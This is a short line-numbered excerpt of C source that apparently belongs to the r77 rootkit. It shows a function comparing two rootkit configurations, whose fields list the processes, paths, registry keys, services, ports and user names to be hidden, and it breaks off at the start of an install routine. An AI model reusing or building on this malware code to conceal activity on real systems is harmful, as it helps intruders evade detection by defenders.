| 122 | FREE(config); |
| 123 | } |
| 124 | BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) |
| 125 | { |
| 126 | if (configA == configB) |
| 127 | { |
| 128 | return TRUE; |
| 129 | } |
| 130 | else if (configA == NULL || configB == NULL) |
| 131 | { |
| 132 | return FALSE; |
| 133 | } |
| 134 | else |
| 135 | { |
| 136 | return |
| 137 | CompareStringList(configA->StartupFiles, configB->StartupFiles) && |
| 138 | CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) && |
| 139 | CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) && |
| 140 | CompareStringList(configA->HiddenPaths, configB->HiddenPaths) && |
| 141 | CompareStringList(configA->HiddenRegistryPaths, configB->HiddenRegistryPaths) && |
| 142 | CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) && |
| 143 | CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) && |
| 144 | CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) && |
| 145 | CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts) && |
| 146 | CompareStringList(configA->HiddenUserNames, configB->HiddenUserNames); |
| 147 | } |
| 148 | } |
| 149 | BOOL InstallR77Config() |
| 150 | { |
| 151 | HKEY key; |
no test coverage detected